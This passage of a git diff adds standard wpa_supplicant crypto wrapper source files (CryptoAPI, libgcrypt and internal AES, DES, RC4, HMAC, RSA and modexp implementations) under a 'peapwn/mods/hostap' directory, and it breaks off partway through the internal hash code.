+ return NULL; + } + + ctx = os_zalloc(sizeof(*ctx)); + if (ctx == NULL) + return NULL; + + if (!CryptAcquireContext(&ctx->prov, NULL, MS_ENH_RSA_AES_PROV, + PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { + cryptoapi_report_error("CryptAcquireContext"); + goto fail1; + } + + if (!CryptImportKey(ctx->prov, (BYTE *) &key_blob, + sizeof(key_blob), 0, 0, &ctx->key)) { + cryptoapi_report_error("CryptImportKey"); + goto fail2; + } + + if (!CryptSetKeyParam(ctx->key, KP_MODE, (BYTE *) &mode, 0)) { + cryptoapi_report_error("CryptSetKeyParam(KP_MODE)"); + goto fail3; + } + + if (iv && !CryptSetKeyParam(ctx->key, KP_IV, (BYTE *) iv, 0)) { + cryptoapi_report_error("CryptSetKeyParam(KP_IV)"); + goto fail3; + } + + return ctx; + +fail3: + CryptDestroyKey(ctx->key); +fail2: + CryptReleaseContext(ctx->prov, 0); +fail1: + os_free(ctx); + return NULL; +} + + +int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, + u8 *crypt, size_t len) +{ + DWORD dlen; + + os_memcpy(crypt, plain, len); + dlen = len; + if (!CryptEncrypt(ctx->key, 0, FALSE, 0, crypt, &dlen, len)) { + cryptoapi_report_error("CryptEncrypt"); + os_memset(crypt, 0, len); + return -1; + } + + return 0; +} + + +int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, + u8 *plain, size_t len) +{ + DWORD dlen; + + os_memcpy(plain, crypt, len); + dlen = len; + if (!CryptDecrypt(ctx->key, 0, FALSE, 0, plain, &dlen)) { + cryptoapi_report_error("CryptDecrypt"); + return -1; + } + + return 0; +} + + +void crypto_cipher_deinit(struct crypto_cipher *ctx) +{ + CryptDestroyKey(ctx->key); + CryptReleaseContext(ctx->prov, 0); + os_free(ctx); +} + + +struct crypto_public_key { + HCRYPTPROV prov; + HCRYPTKEY rsa; +}; + +struct crypto_private_key { + HCRYPTPROV prov; + HCRYPTKEY rsa; +}; + + +struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len) +{ + /* Use crypto_public_key_from_cert() instead. */ + return NULL; +} + + +struct crypto_private_key * crypto_private_key_import(const u8 *key, + size_t len, + const char *passwd) +{ + /* TODO */ + return NULL; +} + + +struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, + size_t len) +{ + struct crypto_public_key *pk; + PCCERT_CONTEXT cc; + + pk = os_zalloc(sizeof(*pk)); + if (pk == NULL) + return NULL; + + cc = CertCreateCertificateContext(X509_ASN_ENCODING | + PKCS_7_ASN_ENCODING, buf, len); + if (!cc) { + cryptoapi_report_error("CryptCreateCertificateContext"); + os_free(pk); + return NULL; + } + + if (!CryptAcquireContext(&pk->prov, NULL, MS_DEF_PROV, PROV_RSA_FULL, + 0)) { + cryptoapi_report_error("CryptAcquireContext"); + os_free(pk); + CertFreeCertificateContext(cc); + return NULL; + } + + if (!CryptImportPublicKeyInfo(pk->prov, X509_ASN_ENCODING | + PKCS_7_ASN_ENCODING, + &cc->pCertInfo->SubjectPublicKeyInfo, + &pk->rsa)) { + cryptoapi_report_error("CryptImportPublicKeyInfo"); + CryptReleaseContext(pk->prov, 0); + os_free(pk); + CertFreeCertificateContext(cc); + return NULL; + } + + CertFreeCertificateContext(cc); + + return pk; +} + + +int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen) +{ + DWORD clen; + u8 *tmp; + size_t i; + + if (*outlen < inlen) + return -1; + tmp = malloc(*outlen); + if (tmp == NULL) + return -1; + + os_memcpy(tmp, in, inlen); + clen = inlen; + if (!CryptEncrypt(key->rsa, 0, TRUE, 0, tmp, &clen, *outlen)) { + wpa_printf(MSG_DEBUG, "CryptoAPI: Failed to encrypt using " + "public key: %d", (int) GetLastError()); + os_free(tmp); + return -1; + } + + *outlen = clen; + + /* Reverse the output */ + for (i = 0; i < *outlen; i++) + out[i] = tmp[*outlen - 1 - i]; + + os_free(tmp); + + return 0; +} + + +int crypto_private_key_sign_pkcs1(struct crypto_private_key *key, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen) +{ + /* TODO */ + return -1; +} + + +void crypto_public_key_free(struct crypto_public_key *key) +{ + if (key) { + CryptDestroyKey(key->rsa); + CryptReleaseContext(key->prov, 0); + os_free(key); + } +} + + +void crypto_private_key_free(struct crypto_private_key *key) +{ + if (key) { + CryptDestroyKey(key->rsa); + CryptReleaseContext(key->prov, 0); + os_free(key); + } +} + + +int crypto_global_init(void) +{ + return mingw_load_crypto_func(); +} + + +void crypto_global_deinit(void) +{ +} + + +int crypto_mod_exp(const u8 *base, size_t base_len, + const u8 *power, size_t power_len, + const u8 *modulus, size_t modulus_len, + u8 *result, size_t *result_len) +{ + /* TODO */ + return -1; +} diff --git a/peapwn/mods/hostap/src/crypto/crypto_gnutls.c b/peapwn/mods/hostap/src/crypto/crypto_gnutls.c new file mode 100644 index 000000000..0dfd54d22 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/crypto_gnutls.c @@ -0,0 +1,299 @@ +/* + * WPA Supplicant / wrapper functions for libgcrypt + * Copyright (c) 2004-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "crypto.h" + +int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + gcry_md_hd_t hd; + unsigned char *p; + size_t i; + + if (gcry_md_open(&hd, GCRY_MD_MD4, 0) != GPG_ERR_NO_ERROR) + return -1; + for (i = 0; i < num_elem; i++) + gcry_md_write(hd, addr[i], len[i]); + p = gcry_md_read(hd, GCRY_MD_MD4); + if (p) + memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_MD4)); + gcry_md_close(hd); + return 0; +} + + +void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) +{ + gcry_cipher_hd_t hd; + u8 pkey[8], next, tmp; + int i; + + /* Add parity bits to the key */ + next = 0; + for (i = 0; i < 7; i++) { + tmp = key[i]; + pkey[i] = (tmp >> i) | next | 1; + next = tmp << (7 - i); + } + pkey[i] = next | 1; + + gcry_cipher_open(&hd, GCRY_CIPHER_DES, GCRY_CIPHER_MODE_ECB, 0); + gcry_err_code(gcry_cipher_setkey(hd, pkey, 8)); + gcry_cipher_encrypt(hd, cypher, 8, clear, 8); + gcry_cipher_close(hd); +} + + +int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + gcry_md_hd_t hd; + unsigned char *p; + size_t i; + + if (gcry_md_open(&hd, GCRY_MD_MD5, 0) != GPG_ERR_NO_ERROR) + return -1; + for (i = 0; i < num_elem; i++) + gcry_md_write(hd, addr[i], len[i]); + p = gcry_md_read(hd, GCRY_MD_MD5); + if (p) + memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_MD5)); + gcry_md_close(hd); + return 0; +} + + +int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + gcry_md_hd_t hd; + unsigned char *p; + size_t i; + + if (gcry_md_open(&hd, GCRY_MD_SHA1, 0) != GPG_ERR_NO_ERROR) + return -1; + for (i = 0; i < num_elem; i++) + gcry_md_write(hd, addr[i], len[i]); + p = gcry_md_read(hd, GCRY_MD_SHA1); + if (p) + memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_SHA1)); + gcry_md_close(hd); + return 0; +} + + +void * aes_encrypt_init(const u8 *key, size_t len) +{ + gcry_cipher_hd_t hd; + + if (gcry_cipher_open(&hd, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0) != + GPG_ERR_NO_ERROR) { + printf("cipher open failed\n"); + return NULL; + } + if (gcry_cipher_setkey(hd, key, len) != GPG_ERR_NO_ERROR) { + printf("setkey failed\n"); + gcry_cipher_close(hd); + return NULL; + } + + return hd; +} + + +void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) +{ + gcry_cipher_hd_t hd = ctx; + gcry_cipher_encrypt(hd, crypt, 16, plain, 16); +} + + +void aes_encrypt_deinit(void *ctx) +{ + gcry_cipher_hd_t hd = ctx; + gcry_cipher_close(hd); +} + + +void * aes_decrypt_init(const u8 *key, size_t len) +{ + gcry_cipher_hd_t hd; + + if (gcry_cipher_open(&hd, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0) != + GPG_ERR_NO_ERROR) + return NULL; + if (gcry_cipher_setkey(hd, key, len) != GPG_ERR_NO_ERROR) { + gcry_cipher_close(hd); + return NULL; + } + + return hd; +} + + +void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) +{ + gcry_cipher_hd_t hd = ctx; + gcry_cipher_decrypt(hd, plain, 16, crypt, 16); +} + + +void aes_decrypt_deinit(void *ctx) +{ + gcry_cipher_hd_t hd = ctx; + gcry_cipher_close(hd); +} + + +int crypto_mod_exp(const u8 *base, size_t base_len, + const u8 *power, size_t power_len, + const u8 *modulus, size_t modulus_len, + u8 *result, size_t *result_len) +{ + gcry_mpi_t bn_base = NULL, bn_exp = NULL, bn_modulus = NULL, + bn_result = NULL; + int ret = -1; + + if (gcry_mpi_scan(&bn_base, GCRYMPI_FMT_USG, base, base_len, NULL) != + GPG_ERR_NO_ERROR || + gcry_mpi_scan(&bn_exp, GCRYMPI_FMT_USG, power, power_len, NULL) != + GPG_ERR_NO_ERROR || + gcry_mpi_scan(&bn_modulus, GCRYMPI_FMT_USG, modulus, modulus_len, + NULL) != GPG_ERR_NO_ERROR) + goto error; + bn_result = gcry_mpi_new(modulus_len * 8); + + gcry_mpi_powm(bn_result, bn_base, bn_exp, bn_modulus); + + if (gcry_mpi_print(GCRYMPI_FMT_USG, result, *result_len, result_len, + bn_result) != GPG_ERR_NO_ERROR) + goto error; + + ret = 0; + +error: + gcry_mpi_release(bn_base); + gcry_mpi_release(bn_exp); + gcry_mpi_release(bn_modulus); + gcry_mpi_release(bn_result); + return ret; +} + + +struct crypto_cipher { + gcry_cipher_hd_t enc; + gcry_cipher_hd_t dec; +}; + + +struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, + const u8 *iv, const u8 *key, + size_t key_len) +{ + struct crypto_cipher *ctx; + gcry_error_t res; + enum gcry_cipher_algos a; + int ivlen; + + ctx = os_zalloc(sizeof(*ctx)); + if (ctx == NULL) + return NULL; + + switch (alg) { + case CRYPTO_CIPHER_ALG_RC4: + a = GCRY_CIPHER_ARCFOUR; + res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_STREAM, + 0); + gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_STREAM, 0); + break; + case CRYPTO_CIPHER_ALG_AES: + if (key_len == 24) + a = GCRY_CIPHER_AES192; + else if (key_len == 32) + a = GCRY_CIPHER_AES256; + else + a = GCRY_CIPHER_AES; + res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); + gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); + break; + case CRYPTO_CIPHER_ALG_3DES: + a = GCRY_CIPHER_3DES; + res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); + gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); + break; + case CRYPTO_CIPHER_ALG_DES: + a = GCRY_CIPHER_DES; + res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); + gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); + break; + case CRYPTO_CIPHER_ALG_RC2: + if (key_len == 5) + a = GCRY_CIPHER_RFC2268_40; + else + a = GCRY_CIPHER_RFC2268_128; + res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); + gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); + break; + default: + os_free(ctx); + return NULL; + } + + if (res != GPG_ERR_NO_ERROR) { + os_free(ctx); + return NULL; + } + + if (gcry_cipher_setkey(ctx->enc, key, key_len) != GPG_ERR_NO_ERROR || + gcry_cipher_setkey(ctx->dec, key, key_len) != GPG_ERR_NO_ERROR) { + gcry_cipher_close(ctx->enc); + gcry_cipher_close(ctx->dec); + os_free(ctx); + return NULL; + } + + ivlen = gcry_cipher_get_algo_blklen(a); + if (gcry_cipher_setiv(ctx->enc, iv, ivlen) != GPG_ERR_NO_ERROR || + gcry_cipher_setiv(ctx->dec, iv, ivlen) != GPG_ERR_NO_ERROR) { + gcry_cipher_close(ctx->enc); + gcry_cipher_close(ctx->dec); + os_free(ctx); + return NULL; + } + + return ctx; +} + + +int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, + u8 *crypt, size_t len) +{ + if (gcry_cipher_encrypt(ctx->enc, crypt, len, plain, len) != + GPG_ERR_NO_ERROR) + return -1; + return 0; +} + + +int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, + u8 *plain, size_t len) +{ + if (gcry_cipher_decrypt(ctx->dec, plain, len, crypt, len) != + GPG_ERR_NO_ERROR) + return -1; + return 0; +} + + +void crypto_cipher_deinit(struct crypto_cipher *ctx) +{ + gcry_cipher_close(ctx->enc); + gcry_cipher_close(ctx->dec); + os_free(ctx); +} diff --git a/peapwn/mods/hostap/src/crypto/crypto_internal-cipher.c b/peapwn/mods/hostap/src/crypto/crypto_internal-cipher.c new file mode 100644 index 000000000..ad0930a5a --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/crypto_internal-cipher.c @@ -0,0 +1,243 @@ +/* + * Crypto wrapper for internal crypto implementation - Cipher wrappers + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto.h" +#include "aes.h" +#include "des_i.h" + + +struct crypto_cipher { + enum crypto_cipher_alg alg; + union { + struct { + size_t used_bytes; + u8 key[16]; + size_t keylen; + } rc4; + struct { + u8 cbc[32]; + void *ctx_enc; + void *ctx_dec; + } aes; + struct { + struct des3_key_s key; + u8 cbc[8]; + } des3; + struct { + u32 ek[32]; + u32 dk[32]; + u8 cbc[8]; + } des; + } u; +}; + + +struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, + const u8 *iv, const u8 *key, + size_t key_len) +{ + struct crypto_cipher *ctx; + + ctx = os_zalloc(sizeof(*ctx)); + if (ctx == NULL) + return NULL; + + ctx->alg = alg; + + switch (alg) { + case CRYPTO_CIPHER_ALG_RC4: + if (key_len > sizeof(ctx->u.rc4.key)) { + os_free(ctx); + return NULL; + } + ctx->u.rc4.keylen = key_len; + os_memcpy(ctx->u.rc4.key, key, key_len); + break; + case CRYPTO_CIPHER_ALG_AES: + ctx->u.aes.ctx_enc = aes_encrypt_init(key, key_len); + if (ctx->u.aes.ctx_enc == NULL) { + os_free(ctx); + return NULL; + } + ctx->u.aes.ctx_dec = aes_decrypt_init(key, key_len); + if (ctx->u.aes.ctx_dec == NULL) { + aes_encrypt_deinit(ctx->u.aes.ctx_enc); + os_free(ctx); + return NULL; + } + os_memcpy(ctx->u.aes.cbc, iv, AES_BLOCK_SIZE); + break; + case CRYPTO_CIPHER_ALG_3DES: + if (key_len != 24) { + os_free(ctx); + return NULL; + } + des3_key_setup(key, &ctx->u.des3.key); + os_memcpy(ctx->u.des3.cbc, iv, 8); + break; + case CRYPTO_CIPHER_ALG_DES: + if (key_len != 8) { + os_free(ctx); + return NULL; + } + des_key_setup(key, ctx->u.des.ek, ctx->u.des.dk); + os_memcpy(ctx->u.des.cbc, iv, 8); + break; + default: + os_free(ctx); + return NULL; + } + + return ctx; +} + + +int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, + u8 *crypt, size_t len) +{ + size_t i, j, blocks; + + switch (ctx->alg) { + case CRYPTO_CIPHER_ALG_RC4: + if (plain != crypt) + os_memcpy(crypt, plain, len); + rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, + ctx->u.rc4.used_bytes, crypt, len); + ctx->u.rc4.used_bytes += len; + break; + case CRYPTO_CIPHER_ALG_AES: + if (len % AES_BLOCK_SIZE) + return -1; + blocks = len / AES_BLOCK_SIZE; + for (i = 0; i < blocks; i++) { + for (j = 0; j < AES_BLOCK_SIZE; j++) + ctx->u.aes.cbc[j] ^= plain[j]; + aes_encrypt(ctx->u.aes.ctx_enc, ctx->u.aes.cbc, + ctx->u.aes.cbc); + os_memcpy(crypt, ctx->u.aes.cbc, AES_BLOCK_SIZE); + plain += AES_BLOCK_SIZE; + crypt += AES_BLOCK_SIZE; + } + break; + case CRYPTO_CIPHER_ALG_3DES: + if (len % 8) + return -1; + blocks = len / 8; + for (i = 0; i < blocks; i++) { + for (j = 0; j < 8; j++) + ctx->u.des3.cbc[j] ^= plain[j]; + des3_encrypt(ctx->u.des3.cbc, &ctx->u.des3.key, + ctx->u.des3.cbc); + os_memcpy(crypt, ctx->u.des3.cbc, 8); + plain += 8; + crypt += 8; + } + break; + case CRYPTO_CIPHER_ALG_DES: + if (len % 8) + return -1; + blocks = len / 8; + for (i = 0; i < blocks; i++) { + for (j = 0; j < 8; j++) + ctx->u.des3.cbc[j] ^= plain[j]; + des_block_encrypt(ctx->u.des.cbc, ctx->u.des.ek, + ctx->u.des.cbc); + os_memcpy(crypt, ctx->u.des.cbc, 8); + plain += 8; + crypt += 8; + } + break; + default: + return -1; + } + + return 0; +} + + +int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, + u8 *plain, size_t len) +{ + size_t i, j, blocks; + u8 tmp[32]; + + switch (ctx->alg) { + case CRYPTO_CIPHER_ALG_RC4: + if (plain != crypt) + os_memcpy(plain, crypt, len); + rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, + ctx->u.rc4.used_bytes, plain, len); + ctx->u.rc4.used_bytes += len; + break; + case CRYPTO_CIPHER_ALG_AES: + if (len % AES_BLOCK_SIZE) + return -1; + blocks = len / AES_BLOCK_SIZE; + for (i = 0; i < blocks; i++) { + os_memcpy(tmp, crypt, AES_BLOCK_SIZE); + aes_decrypt(ctx->u.aes.ctx_dec, crypt, plain); + for (j = 0; j < AES_BLOCK_SIZE; j++) + plain[j] ^= ctx->u.aes.cbc[j]; + os_memcpy(ctx->u.aes.cbc, tmp, AES_BLOCK_SIZE); + plain += AES_BLOCK_SIZE; + crypt += AES_BLOCK_SIZE; + } + break; + case CRYPTO_CIPHER_ALG_3DES: + if (len % 8) + return -1; + blocks = len / 8; + for (i = 0; i < blocks; i++) { + os_memcpy(tmp, crypt, 8); + des3_decrypt(crypt, &ctx->u.des3.key, plain); + for (j = 0; j < 8; j++) + plain[j] ^= ctx->u.des3.cbc[j]; + os_memcpy(ctx->u.des3.cbc, tmp, 8); + plain += 8; + crypt += 8; + } + break; + case CRYPTO_CIPHER_ALG_DES: + if (len % 8) + return -1; + blocks = len / 8; + for (i = 0; i < blocks; i++) { + os_memcpy(tmp, crypt, 8); + des_block_decrypt(crypt, ctx->u.des.dk, plain); + for (j = 0; j < 8; j++) + plain[j] ^= ctx->u.des.cbc[j]; + os_memcpy(ctx->u.des.cbc, tmp, 8); + plain += 8; + crypt += 8; + } + break; + default: + return -1; + } + + return 0; +} + + +void crypto_cipher_deinit(struct crypto_cipher *ctx) +{ + switch (ctx->alg) { + case CRYPTO_CIPHER_ALG_AES: + aes_encrypt_deinit(ctx->u.aes.ctx_enc); + aes_decrypt_deinit(ctx->u.aes.ctx_dec); + break; + case CRYPTO_CIPHER_ALG_3DES: + break; + default: + break; + } + os_free(ctx); +} diff --git a/peapwn/mods/hostap/src/crypto/crypto_internal-modexp.c b/peapwn/mods/hostap/src/crypto/crypto_internal-modexp.c new file mode 100644 index 000000000..9dcabb95b --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/crypto_internal-modexp.c @@ -0,0 +1,49 @@ +/* + * Crypto wrapper for internal crypto implementation - modexp + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "tls/bignum.h" +#include "crypto.h" + + +int crypto_mod_exp(const u8 *base, size_t base_len, + const u8 *power, size_t power_len, + const u8 *modulus, size_t modulus_len, + u8 *result, size_t *result_len) +{ + struct bignum *bn_base, *bn_exp, *bn_modulus, *bn_result; + int ret = -1; + + bn_base = bignum_init(); + bn_exp = bignum_init(); + bn_modulus = bignum_init(); + bn_result = bignum_init(); + + if (bn_base == NULL || bn_exp == NULL || bn_modulus == NULL || + bn_result == NULL) + goto error; + + if (bignum_set_unsigned_bin(bn_base, base, base_len) < 0 || + bignum_set_unsigned_bin(bn_exp, power, power_len) < 0 || + bignum_set_unsigned_bin(bn_modulus, modulus, modulus_len) < 0) + goto error; + + if (bignum_exptmod(bn_base, bn_exp, bn_modulus, bn_result) < 0) + goto error; + + ret = bignum_get_unsigned_bin(bn_result, result, result_len); + +error: + bignum_deinit(bn_base); + bignum_deinit(bn_exp); + bignum_deinit(bn_modulus); + bignum_deinit(bn_result); + return ret; +} diff --git a/peapwn/mods/hostap/src/crypto/crypto_internal-rsa.c b/peapwn/mods/hostap/src/crypto/crypto_internal-rsa.c new file mode 100644 index 000000000..54209fad3 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/crypto_internal-rsa.c @@ -0,0 +1,108 @@ +/* + * Crypto wrapper for internal crypto implementation - RSA parts + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto.h" +#include "tls/rsa.h" +#include "tls/pkcs1.h" +#include "tls/pkcs8.h" + +/* Dummy structures; these are just typecast to struct crypto_rsa_key */ +struct crypto_public_key; +struct crypto_private_key; + + +struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len) +{ + return (struct crypto_public_key *) + crypto_rsa_import_public_key(key, len); +} + + +struct crypto_private_key * crypto_private_key_import(const u8 *key, + size_t len, + const char *passwd) +{ + struct crypto_private_key *res; + + /* First, check for possible PKCS #8 encoding */ + res = pkcs8_key_import(key, len); + if (res) + return res; + + if (passwd) { + /* Try to parse as encrypted PKCS #8 */ + res = pkcs8_enc_key_import(key, len, passwd); + if (res) + return res; + } + + /* Not PKCS#8, so try to import PKCS #1 encoded RSA private key */ + wpa_printf(MSG_DEBUG, "Trying to parse PKCS #1 encoded RSA private " + "key"); + return (struct crypto_private_key *) + crypto_rsa_import_private_key(key, len); +} + + +struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, + size_t len) +{ + /* No X.509 support in crypto_internal.c */ + return NULL; +} + + +int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen) +{ + return pkcs1_encrypt(2, (struct crypto_rsa_key *) key, + 0, in, inlen, out, outlen); +} + + +int crypto_private_key_decrypt_pkcs1_v15(struct crypto_private_key *key, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen) +{ + return pkcs1_v15_private_key_decrypt((struct crypto_rsa_key *) key, + in, inlen, out, outlen); +} + + +int crypto_private_key_sign_pkcs1(struct crypto_private_key *key, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen) +{ + return pkcs1_encrypt(1, (struct crypto_rsa_key *) key, + 1, in, inlen, out, outlen); +} + + +void crypto_public_key_free(struct crypto_public_key *key) +{ + crypto_rsa_free((struct crypto_rsa_key *) key); +} + + +void crypto_private_key_free(struct crypto_private_key *key) +{ + crypto_rsa_free((struct crypto_rsa_key *) key); +} + + +int crypto_public_key_decrypt_pkcs1(struct crypto_public_key *key, + const u8 *crypt, size_t crypt_len, + u8 *plain, size_t *plain_len) +{ + return pkcs1_decrypt_public_key((struct crypto_rsa_key *) key, + crypt, crypt_len, plain, plain_len); +} diff --git a/peapwn/mods/hostap/src/crypto/crypto_internal.c b/peapwn/mods/hostap/src/crypto/crypto_internal.c new file mode 100644 index 000000000..f3602dac3 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/crypto_internal.c @@ -0,0 +1,275 @@ +/* + * Crypto wrapper for internal crypto implementation + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto.h" +#include "sha256_i.h" +#include "sha1_i.h" +#include "md5_i.h" + +struct crypto_hash { + enum crypto_hash_alg alg; + union { + struct MD5Context md5; + struct SHA1Context sha1; +#ifdef CONFIG_SHA256 + struct sha256_state sha256; +#endif /* CONFIG_SHA256 */ + } u; + u8 key[64]; + size_t key_len; +}; + + +struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, + size_t key_len) +{ + struct crypto_hash *ctx; + u8 k_pad[64]; + u8 tk[32]; + size_t i; + + ctx = os_zalloc(sizeof(*ctx)); + if (ctx == NULL) + return NULL; + + ctx->alg = alg; + + switch (alg) { + case CRYPTO_HASH_ALG_MD5: + MD5Init(&ctx->u.md5); + break; + case CRYPTO_HASH_ALG_SHA1: + SHA1Init(&ctx->u.sha1); + break; +#ifdef CONFIG_SHA256 + case CRYPTO_HASH_ALG_SHA256: + sha256_init(&ctx->u.sha256); + break; +#endif /* CONFIG_SHA256 */ + case CRYPTO_HASH_ALG_HMAC_MD5: + if (key_len > sizeof(k_pad)) { + MD5Init(&ctx->u.md5); + MD5Update(&ctx->u.md5, key, key_len); + MD5Final(tk, &ctx->u.md5); + key = tk; + key_len = 16; + } + os_memcpy(ctx->key, key, key_len); + ctx->key_len = key_len; + + os_memcpy(k_pad, key, key_len); + if (key_len < sizeof(k_pad)) + os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len); + for (i = 0; i < sizeof(k_pad); i++) + k_pad[i] ^= 0x36; + MD5Init(&ctx->u.md5); + MD5Update(&ctx->u.md5, k_pad, sizeof(k_pad)); + break; + case CRYPTO_HASH_ALG_HMAC_SHA1: + if (key_len > sizeof(k_pad)) { + SHA1Init(&ctx->u.sha1); + SHA1Update(&ctx->u.sha1, key, key_len); + SHA1Final(tk, &ctx->u.sha1); + key = tk; + key_len = 20; + } + os_memcpy(ctx->key, key, key_len); + ctx->key_len = key_len; + + os_memcpy(k_pad, key, key_len); + if (key_len < sizeof(k_pad)) + os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len); + for (i = 0; i < sizeof(k_pad); i++) + k_pad[i] ^= 0x36; + SHA1Init(&ctx->u.sha1); + SHA1Update(&ctx->u.sha1, k_pad, sizeof(k_pad)); + break; +#ifdef CONFIG_SHA256 + case CRYPTO_HASH_ALG_HMAC_SHA256: + if (key_len > sizeof(k_pad)) { + sha256_init(&ctx->u.sha256); + sha256_process(&ctx->u.sha256, key, key_len); + sha256_done(&ctx->u.sha256, tk); + key = tk; + key_len = 32; + } + os_memcpy(ctx->key, key, key_len); + ctx->key_len = key_len; + + os_memcpy(k_pad, key, key_len); + if (key_len < sizeof(k_pad)) + os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len); + for (i = 0; i < sizeof(k_pad); i++) + k_pad[i] ^= 0x36; + sha256_init(&ctx->u.sha256); + sha256_process(&ctx->u.sha256, k_pad, sizeof(k_pad)); + break; +#endif /* CONFIG_SHA256 */ + default: + os_free(ctx); + return NULL; + } + + return ctx; +} + + +void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) +{ + if (ctx == NULL) + return; + + switch (ctx->alg) { + case CRYPTO_HASH_ALG_MD5: + case CRYPTO_HASH_ALG_HMAC_MD5: + MD5Update(&ctx->u.md5, data, len); + break; + case CRYPTO_HASH_ALG_SHA1: + case CRYPTO_HASH_ALG_HMAC_SHA1: + SHA1Update(&ctx->u.sha1, data, len); + break; +#ifdef CONFIG_SHA256 + case CRYPTO_HASH_ALG_SHA256: + case CRYPTO_HASH_ALG_HMAC_SHA256: + sha256_process(&ctx->u.sha256, data, len); + break; +#endif /* CONFIG_SHA256 */ + default: + break; + } +} + + +int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) +{ + u8 k_pad[64]; + size_t i; + + if (ctx == NULL) + return -2; + + if (mac == NULL || len == NULL) { + os_free(ctx); + return 0; + } + + switch (ctx->alg) { + case CRYPTO_HASH_ALG_MD5: + if (*len < 16) { + *len = 16; + os_free(ctx); + return -1; + } + *len = 16; + MD5Final(mac, &ctx->u.md5); + break; + case CRYPTO_HASH_ALG_SHA1: + if (*len < 20) { + *len = 20; + os_free(ctx); + return -1; + } + *len = 20; + SHA1Final(mac, &ctx->u.sha1); + break; +#ifdef CONFIG_SHA256 + case CRYPTO_HASH_ALG_SHA256: + if (*len < 32) { + *len = 32; + os_free(ctx); + return -1; + } + *len = 32; + sha256_done(&ctx->u.sha256, mac); + break; +#endif /* CONFIG_SHA256 */ + case CRYPTO_HASH_ALG_HMAC_MD5: + if (*len < 16) { + *len = 16; + os_free(ctx); + return -1; + } + *len = 16; + + MD5Final(mac, &ctx->u.md5); + + os_memcpy(k_pad, ctx->key, ctx->key_len); + os_memset(k_pad + ctx->key_len, 0, + sizeof(k_pad) - ctx->key_len); + for (i = 0; i < sizeof(k_pad); i++) + k_pad[i] ^= 0x5c; + MD5Init(&ctx->u.md5); + MD5Update(&ctx->u.md5, k_pad, sizeof(k_pad)); + MD5Update(&ctx->u.md5, mac, 16); + MD5Final(mac, &ctx->u.md5); + break; + case CRYPTO_HASH_ALG_HMAC_SHA1: + if (*len < 20) { + *len = 20; + os_free(ctx); + return -1; + } + *len = 20; + + SHA1Final(mac, &ctx->u.sha1); + + os_memcpy(k_pad, ctx->key, ctx->key_len); + os_memset(k_pad + ctx->key_len, 0, + sizeof(k_pad) - ctx->key_len); + for (i = 